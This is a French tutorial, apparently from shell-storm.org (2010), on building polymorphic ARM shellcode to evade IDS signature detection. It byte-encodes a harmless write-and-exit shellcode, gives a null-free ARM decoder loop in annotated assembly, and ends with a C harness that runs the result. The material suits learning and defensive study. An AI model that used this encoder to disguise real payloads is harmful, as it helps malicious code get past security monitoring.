Title: How to create a polymorphic shellcode on ARM architecture ? Language: French Author: Florian Gaultier Date 2010-07-02 Original version: http://howto.shell-storm.org/files/howto-5.php I - Rappels sur le polymorphisme ================================ Je vous conseil de lire le howto sur le polymorphisme des shellcodes pour architecture x86. (http://howto.shell-storm.org/files/howto-2.php) Mais, pour un bref rappel, les shellcodes polymorphiques permettent d'éviter la détection, par les IDS, des structures de shellcodes connues. La structure est simple, une partie sert à décoder, l'autre partie est notre shellcode crypté. II - La construction du shellcode ================================= II - 1. Cryptage ---------------- Pour le cryptage, il suffit d'effectuer une opération basique sur chaque octet ! and, orr, eor, add, sub par exemple. Prenons le shellcode (write et exit) du howto précédent. "\x01\x60\x8f\xe2\x16\xff\x2f\xe1" "\x10\x22\x79\x46\x0e\x31\x01\x20" "\x04\x27\x01\xdf\x24\x1b\x20\x1c" "\x01\x27\x01\xdf" "shell-storm.org" "\x0a" Nous allons simplement soustraire 2 à tous les octets, ce qui nous donne : "\xff\x5e\x8d\xe0\x14\xfd\x2d\xdf" "\x0e\x20\x77\x44\x0c\x2f\xff\x1e" "\x02\x25\xff\xdd\x22\x19\x1e\x1a" "\xff\x25\xff\xdd" "qfcjj+qrmpk,mpe" "\x08" Nous avons donc notre shellcode crypté, il reste à construire notre boucle de décodage. II - 2. Décodage ---------------- Le principe est le même que pour x86 : Nous sautons juste avant notre shellcode crypté. Puis nous sautons dans une boucle de décodage en gardant en mémoire l'adresse de notre shellcode. La boucle décode chaque octet puis resaute dans le shellcode. add r6, pc, #36 // nous récupérons dans r6 l'adresse du saut avant notre shellcode (bl debut). -----------------+ bx r6 // b seul contient des 00 c'est pour cela que nous sautons à r6 à l'aide de bx. | debut: mov r4, #213 // #213 sert au compteur de boucle, il faut que la boucle s'effectue 44 fois. | // c'est le nombre d'octets de notre shellcode . | boucle: cmp r4, #256 // la comparaison se fait à 256 ce qui permet d'éliminer un 00 car 256 est sur deux octets. | bxhi lr // si r4 = 256 alors nous sautons à notre shellcode qui a été décodé. | sub r4, r4, #213 // sinon nous soustrayons 213 afin de récupérer la valeur du compteur. | ldrb r5, [lr, r4] // nous récupérons dans r5 l'octet situé à l'adresse de notre shellcode + le compteur. | add r5, r5, #2 // nous décodons en y ajoutant 2. | strb r5, [lr, r4] // puis nous remplaçons l'octet par celui décodé. | add r4, r4, #214 // nous réajoutons 213 + 1 afin d'incrémenter le compteur pour faire la futur comparaison. | b boucle // et nous sautons à la comparaison. | | bl debut // nous sautons dans la boucle à l'aide de bl, afin de placer l'adresse du shellcode dans lr. <--+ Et voilà, nous avons notre boucle de décodage sans 00 ! #include char shellcode[] = "\x24\x60\x8f\xe2" "\x16\xff\x2f\xe1" "\xd5\x40\xa0\xe3" "\x01\x0c\x54\xe3" "\x1e\xff\x2f\x81" "\xd5\x40\x44\xe2" "\x04\x50\xde\xe7" "\x02\x50\x85\xe2" "\x04\x50\xce\xe7" "\xd6\x40\x84\xe2" "\xf7\xff\xff\xea" "\xf5\xff\xff\xeb" //shellcode crypté "\xff\x5e\x8d\xe0\x14\xfd\x2d\xdf" "\x0e\x20\x77\x44\x0c\x2f\xff\x1e" "\x02\x25\xff\xdd\x22\x19\x1e\x1a" "\xff\x25\xff\xdd" "qfcjj+qrmpk,mpe" "\x08"; int main() { (*(void(*)()) shellcode)(); return 0; } III - Références ================ [x] - http://www.shell-storm.org [1] - http://marine.edu.ups-tlse.fr/~rochange/ISI1A/PolycopARM.pdf [2] - http://www.seeon.fr/repository/assembleur/archi_08_cours2.pdf